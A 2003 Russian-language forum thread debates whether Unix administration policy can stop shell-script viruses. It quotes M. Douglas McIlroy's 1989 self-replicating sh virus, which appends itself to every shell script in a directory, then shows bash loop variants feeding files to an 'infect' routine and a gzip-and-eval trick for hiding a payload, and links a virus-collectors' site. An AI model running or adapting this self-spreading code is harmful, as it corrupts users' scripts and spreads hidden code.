Discussion:
что это?
(слишком старое сообщение для ответа)
Andrey Troitsky
2003-08-13 06:41:00 UTC
Permalink
Привет andrew!

12 Aug 03 1:58, andrew baranovich -> Andrey Troitsky:

ab> наличие багов, ни прочие измышлизмы роли не играют.
ab> Хочу тебе предложить один из моих любимейших примеров:

ab> # (с) M. Douglas McIlroy, Computing Systems, 1989, v.2, N 2, pp. 173-181
ab> for i in * #virus#
ab> do case "`sed 1q $i`" in
ab> "#!/bin/sh") grep '#virus#' $i >/dev/null ||
ab> sed -n '/#virus#/,$p' $0 >>$i
ab> esac

done 2>> /dev/null

п.с. Писец, у меня от этого скрипта аж суставы стало выкручивать, пришлось
лечиться докой. Когда-то также было от регулярных выражений. Издевательство
над человеческим мозгом.


ab> И какую же "дырявость" использует данный скрипт?

Раз это штатные возможности, значит их нужно ограничивать, т.е. это типа
дырявость в политике администрирования. :) отмазался.

<skip>
AT>> Без скриптов - никак.

ab> Это еще почему?

Hу, что-нибудь оперативно нацарапать пальцем левой ноги, довольно часто
требуется.

<skip>
ab> Приходи ко мне на сайтик (http://vx.netlux.org/), там я
ab> надеюсь ты утолишь свое любопытство. Ж-)

ок. обязательно просвещусь.

<skip>
AT>> разрешено, а это все можно было бы отследить по логам, хотя и с
AT>> некоторым опозданием.

ab> Речь же шла о защите, а не о системе оповещения. Тем более,
ab> что подобную систему можно обмануть.

Вобщем да.


Пока.
Andrey
andrew baranovich
2003-08-13 21:54:06 UTC
Permalink
Andrey Troitsky wrote to andrew baranovich:

AT> п.с. Писец, у меня от этого скрипта аж суставы стало выкручивать,
AT> пришлось лечиться докой. Когда-то также было от регулярных выражений.
AT> Издевательство над человеческим мозгом.

Ммм.. Ж-) Кстати о скриптах, многих в последнее время увлекает
написание эхотага на шеллах (я сужу по количеству этого добра
у меня в коллекции), интересно чего это всех зарубает на самых
простейших конструкциях вроде 'for i in *'? Ведь можно себя
побаловать и чуть более навороченными штучками:

A=(.* *); i=0
while [ $i -lt ${#A[@]} ]; do
infect ${A[$i]}
i=`expr $i + 1`
done

for ((i=0; i < ${#A[@]}; i++ )); do
infect ${A[$i]}
done

A=(.* *); i=0
while (( $i < ${#A[@]} )); do
infect ${A[$i]}
(( i=i+1 ))
done

A=(.* *); i=0
while let "$i < ${#A[@]}";do
infect ${A[$i]}
(( i=i+1 ))
done

B='for VAR in .* *; do infect $VAR; done'
eval $B

ls|while read -r;do
infect $REPLY
done

A=".* *"
for VAR in $A; do
infect $VAR
done

A=`tail -c58 <$0|gzip -d`
eval "$A"
exit
<gzipped data here>

# Ж-))))

AT> Раз это штатные возможности, значит их нужно ограничивать, т.е. это
AT> типа дырявость в политике администрирования. :) отмазался.

(1)

AT> Hу, что-нибудь оперативно нацарапать пальцем левой ноги, довольно
AT> часто требуется.

(2)
Противоречие. Или 1 или 2, но не одновременно. Ж-)
Или я не прав и ты знаешь как настроить систему таким
образом, чтобы пользователь мог "царапать" скрипты,
а вирус не мог? ;-)

Loading...